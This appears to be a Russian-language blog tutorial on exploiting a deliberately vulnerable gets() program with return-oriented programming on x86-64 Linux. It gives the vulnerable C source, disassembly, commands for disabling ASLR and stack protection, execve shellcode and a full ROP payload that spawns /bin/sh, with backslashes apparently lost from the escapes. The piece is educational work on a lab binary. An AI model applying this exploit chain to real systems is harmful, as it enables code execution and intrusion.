Введение
В этой статье мы попробуем разобраться как работает Return Oriented эксплоит. Тема, в принципе, так себе заезженная, и в инете валяется немало публикаций, но я постараюсь писать так, чтобы эта статья не была их простой компиляцией. По ходу нам придется разбираться с некоторыми системными особенностями Linux и архитектуры x86-64 (все нижеописанные эксперименты были проведены на Ubuntu 14.04). Основной целью будет эксплуатирование тривиальной уязвимости gets с помощью ROP (Return oriented programming).
Уязвимость
На самом деле понятно, что поиск уязвимостей — отдельная проблема. Неплохо было бы начать с того, чтобы придумать какую-нибудь простую уязвимость. Вот например функция gets(), входящая в стандартную библиотеку С, является одной большой уязвимостью, ей и воспользуемся.
#include <stdio.h>
#include <string.h>
int func()
{
int val = 0;
char buf[10];
gets(buf);
printf("%sn", buf);
val = strlen(buf);
return val;
}
int main(int argc, char **argv) {
return func();
}
Данный код считывает из stdin всё, что видит, пока не наткнется на символ конца строки или файла. Вообще говоря, применение этой функции не очень приветствуется и существует она лишь для обратной совместимости. Тем не менее, сам не раз видел свежий код, в котором люди применяли эту функцию. Ну и бог с ним. Попробуем скомпилировать (о значении -fno-stack-protector поговорим позже).
gcc -o main main.c -g -Wall -fno-stack-protector
gcc ещё два раза предупредил нас об абсурдности наших действий (сообщение может отсутствовать в других сборках gcc)
main.c: In function 'func':
main.c:7:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
gets(buf);
^
/tmp/ccBFHgPN.o: In function `func':
/home/alexhoppus/Desktop/rop_tutorial/main.c:7: warning: the `gets' function is dangerous and should not be used.
Ну ладно, давайте разбираться чего он там лепечет про dangerous и deprecated.
Smash the stack
Из кода выше видно, что есть буфер, в который считывается строка. Буфер находится на стеке. Как известно, стек — это не больше чем кусок rw памяти в адресном пространстве приложения. Давайте попробуем восстановить его layout на x86-64. Делать мы это будем с помощью утилиты objdump, а затем проверим с помощью gdb.
objdump -d main
00000000004005bd <func>:
4005bd: 55 push %rbp
4005be: 48 89 e5 mov %rsp,%rbp
4005c1: 48 83 ec 10 sub $0x10,%rsp
4005c5: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
4005cc: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005d0: 48 89 c7 mov %rax,%rdi
4005d3: e8 e8 fe ff ff callq 4004c0 <gets@plt>
4005d8: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005dc: 48 89 c7 mov %rax,%rdi
4005df: e8 9c fe ff ff callq 400480 <puts@plt>
4005e4: 48 8d 45 f0 lea -0x10(%rbp),%rax
4005e8: 48 89 c7 mov %rax,%rdi
4005eb: e8 a0 fe ff ff callq 400490 <strlen@plt>
4005f0: 89 45 fc mov %eax,-0x4(%rbp)
4005f3: 8b 45 fc mov -0x4(%rbp),%eax
4005f6: c9 leaveq
4005f7: c3 retq
00000000004005f8 <main>:
4005f8: 55 push %rbp
4005f9: 48 89 e5 mov %rsp,%rbp
4005fc: 48 83 ec 10 sub $0x10,%rsp
400600: 89 7d fc mov %edi,-0x4(%rbp)
400603: 48 89 75 f0 mov %rsi,-0x10(%rbp)
400607: b8 00 00 00 00 mov $0x0,%eax
40060c: e8 ac ff ff ff callq 4005bd <func>
400611: c9 leaveq
400612: c3 retq
400613: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40061a: 00 00 00
40061d: 0f 1f 00 nopl (%rax)
Начнем со строки в main, которая делает вызов func (40060c). callq можно представить в виде push адреса возврата (400611) и jump на адрес func. Таким образом, первым на стек кладется адрес возврата. Когда мы прыгнули на func мы пушим на стек %rbp — адрес начала предыдущего стек фрейма. Далее мы расширяем стек (стек растет вниз) на 16 байт и зануляем первые 4 байта после сохраненного %rbp — видимо, это наша переменная val на стеке. Функции gets передается указатель на буфер через регистр %rdi, который вычисляется следующим образом lea -0x10(%rbp),%rax. Резюмируем картинкой:
Из картинки можно заключить, что, если записать в буфер строку, в которой больше чем 15 символов (+1 байт конец строки), то наше приложение скорее всего свалится, так как мы перезапишем %rbp — адрес начала предыдущего стек фрейма. При этом из текущей функции func мы выйдем в main нормально, но потом у нас возникнут проблемы — программа будет думать, что ее стек вовсе не там, где он есть на самом деле, а так как на стеке хранится %rip — адрес возврата, мы получим SIGSEGV от ядра Linux, когда возвратимся по неверному адресу.
Теперь посмотрим на стек с точки зрения gdb:
python -c "print 'a'*15" > input2
gdb ./main
(gdb) b func
Breakpoint 1 at 0x4005c5: file main.c, line 5.
(gdb) r < input2
(gdb) info register
...
rsp 0x7fffffffde90 0x7fffffffde90
...
(gdb) x/100x 0x7fffffffde90
0x7fffffffde90: 0x61616161 0x61616161 0x61616161 0x00616161
0x7fffffffdea0: 0xffffdec0 0x00007fff 0x00400611 0x00000000
0x7fffffffdeb0: 0xffffdfa8 0x00007fff 0x00000000 0x00000001
Сейчас мы окончательно можем быть уверены в том, что не ошиблись. Попробуйте ввести на stdin больше 15 символов и убедитесь, что приложение получит SIGSEGV. Теперь пришло время вернуться к опции -fno-stack-protector. Повторим этот трюк без нее (внимание: данная опция у меня по умолчанию включена — такая сборка gcc, у Вас может быть наоборот).
gcc -o main main.c -g -Wall
python -c "print 'a'*26" | ./main
aaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./main terminated
Aborted (core dumped)
Флаг -fstack-protector позволяет включить поддержку защиты от переполнения буфера со стороны gcc. Принцип её работы прост — между %rip, %rbp и доступным для записи буфером на стек помещается известное компилятору значение, после выхода из функции значение считывается со стека и сверяется с первоначальным. Если на лицо несовпадение, то мы увидим сообщение о stack smashing. Вы можете сами лицезреть механизм работы stack canaries при помощи просто дисасемблинга objdump -d
000000000040062d <func>:
...
400635: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
40063c: 00 00
40063e: 48 89 45 f8 mov %rax,-0x8(%rbp)
...
400675: 48 8b 55 f8 mov -0x8(%rbp),%rdx
400679: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx
400680: 00 00
400682: 74 05 je 400689 <func+0x5c>
400684: e8 77 fe ff ff callq 400500 <__stack_chk_fail@plt>
400689: c9 leaveq
40068a: c3 retq
Чтобы упростить себе жизнь при написании ROP экслоита, приложение мы будем компилировать с флагом -fno-stack-protector. Это будет первый из двух механизмов защиты, который мы умышленно выключим, чтобы упростить себе жизнь.
Address space layout randomization
Рассказывая об ASLR, наверное, уже стоит перейти к сути дела. Как вы понимаете, злоумышленник может переполнить буфер на стеке и перезаписать адрес возврата, чтобы прыгнуть на какой — либо код. Остается вопрос — куда прыгать и откуда там взяться нужному хакеру коду? На стек код закинуть не получится, потому что стек не исполняемый. Это обеспечивается на уровне таблиц страниц, которые формируют виртуальное адресное пространство процесса, иными словами в page table entry нет флага «X» (executable). Можно прыгать на замапленные библиотеки, вернее на некоторые куски кода из этих библиотек. На этом принципе и основано return oriented programming. Чтобы нельзя было заранее угадать адрес, в который мапится библиотека, а, следовательно, и адрес конкретного кусочка кода из библиотеки, при старте приложения положение библиотеки в адресном пространстве процесса рандомизируется. Это фича ядра Linux, которая контролируется через proc.
echo 0 > /proc/sys/kernel/randomize_va_space
Для упрощения её тоже придется отключить.
Exec /bin/sh
Ну что же, приложение с уязвимостью собрано без защиты от переполнения стека, ASLR выключена. Теперь, для демонстрации уязвимости, заставим процесс — жертву вызвать /bin/sh вместо себя. Для начала необходимо представлять как код эксплоита будет выглядеть:
section .text
global _start
_start:
mov rax, 0x3b
mov rdi, cmd
mov rsi, 0
mov rdx, 0
syscall
section .data
cmd: db '/bin/sh'
.end:
Здесь все просто — на x86-64 код приложения выполняет системный вызов используя инструкцию syscall. При этом в %rax необходимо поместить номер системного вызова (0x3b), в регистры %rdi, %rsi, %rdx… помещаются аргументы. Если забыли как выглядит список аргументов execve можете посмотреть тут
Проверьте, что shell вызывается:
nasm -f elf64 exec1.S -o exec.o
ld -o exec exec.o
./exec
Гаджеты
Вообще говоря, гаджет — это просто кусок кода библиотеки или приложения. Искать гаджеты для нашего будущего эксплоита мы будем в libc. Для начала давайте посмотрим в какой адрес мапится код секция libc. Для этого можно, остановить приложение на функции main при помощи gdb и выполнить:
cat /proc/`pidof main`/maps | grep libc | grep r-xp
Здесь нам важен флаг «X» в маппинге, по нему мы можем понять, что это непосредственно исполняемая секция.
7ffff7a14000-7ffff7bcf000 r-xp 00000000 08:01 466797 /lib/x86_64-linux-gnu/libc-2.19.so
Идеологически поведение будущего эксплоита показано на следующем рисунке:
Мы начнем с того, что положим на стек вместо адреса возврата addr1, который будет указывать на первый гаджет из кода libc. Первый гаджет выполнит pop %rax, поместив в регистр %rax приготовленное нами на стеке значение 0x3b, далее ret возьмет со стека адрес addr2 и прыгнет на него. Что касается 0x601000 — это адрес начала rw области (data секция) исполняемого файла ./main:
00400000-00401000 r-xp 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
00600000-00601000 r--p 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
00601000-00602000 rw-p 00001000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
Мы выберем этот адрес для того, чтобы поместить по нему строку "/bin//sh". В регистр %rdx сохраним саму строку, а в %rdi её адрес.
mov qword [rdi], rdx
помещает "/bin//sh" по адресу 0x601000. Основная работа сделана — остальной код обнуляет значение регистров %rsi и %rdx (2 и 3 аргументы execve) и выполняет syscall. Таким образом, мы в 7 return'ов execнули ничего не подозревающий main и превратили его в /bin/sh.
Как найти гаджеты
На самом деле существует множество утилит, анализирующих код библиотеки / приложения и предоставляющих вам набор готовых гаджетов с адресами. В данной статье для поиска гаджетов использовалась эта утилита. Пример вывода поисковика гаджетов:
./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.19.so -r 2 | grep "pop rax"
...
0x0019d345: pop rax ; out dx, al ; jmp qword [rdx] ; (1 found)
0x000fafb9: pop rax ; pop rdi ; call rax ; (1 found)
0x000193b8: pop rax ; ret ; (1 found)
0x001a09c8: pop rax ; adc al, 0xF1 ; jmp qword [rax] ; (1 found)
...
Для получения реальных адресов гаджетов в памяти необходимо прибавить к полученным в выводе адресам смещение, равное адресу начала маппинга исполняемой секция libc (см. выше) — 0x7ffff7a14000.
И что же получается в итоге?
После того, как Вы отыщите все необходимые гаджеты, получится что-то вроде
python -c "print 'a'*24+'xb8xd3xa2xf7xffx7fx00x00'+'x3bx00x00x00x00x00x00x00'+'x21x6axa3xf7xffx7fx00x00'+'x00x10x60x00x00x00x00x00'+'x8ex5bxa1xf7xffx7fx00x00'+'x2fx62x69x6ex2fx73x68x00'+'x27x3cxa3xf7xffx7fx00x00'+'x14xa1xb4xf7xffx7fx00x00'+'x00x00x00x00x00x00x00x00'+'x8ex5bxa1xf7xffx7fx00x00'+'x00x00x00x00x00x00x00x00'+'xd5x68xadxf7xffx7fx00x00'" | ./main
Проверьте с помощью strace, что shell действительно запускается. Если все сделано верно, /bin/sh запустится и сразу же выйдет, так как на stdin уже пусто. По понятным причинам в реальных условиях связывать stdin этого шела с клавиатурой никто не будет, но мы можем позволить небольшой хак, чтобы протестировать работоспособность эксплоита:
alexhoppus@hp:~/Desktop/rop_tutorial$ cat <(python -c "print 'a'*24+'xb8xd3xa2xf7xffx7fx00x00'+'x3bx00x00x00x00x00x00x00'+'x21x6axa3xf7xffx7fx00x00'+'x00x10x60x00x00x00x00x00'+'x8ex5bxa1xf7xffx7fx00x00'+'x2fx62x69x6ex2fx73x68x00'+'x27x3cxa3xf7xffx7fx00x00'+'x14xa1xb4xf7xffx7fx00x00'+'x00x00x00x00x00x00x00x00'+'x8ex5bxa1xf7xffx7fx00x00'+'x00x00x00x00x00x00x00x00'+'xd5x68xadxf7xffx7fx00x00'") - | ./main
aaaaaaaaaaaaaaaaaaaaaaaa�Ӣ��
ls
Blank Flowchart - New Page (2).jpeg article~ exec1.S input main.c shell
a.out exec hello input2 rop.jpeg stack.jpeg
article
Ну вот и всё. Надеюсь что статья даст почву для ваших будущих экспериментов (не в практической плоскости, а научно-познавательной).
Автор: alexhoppus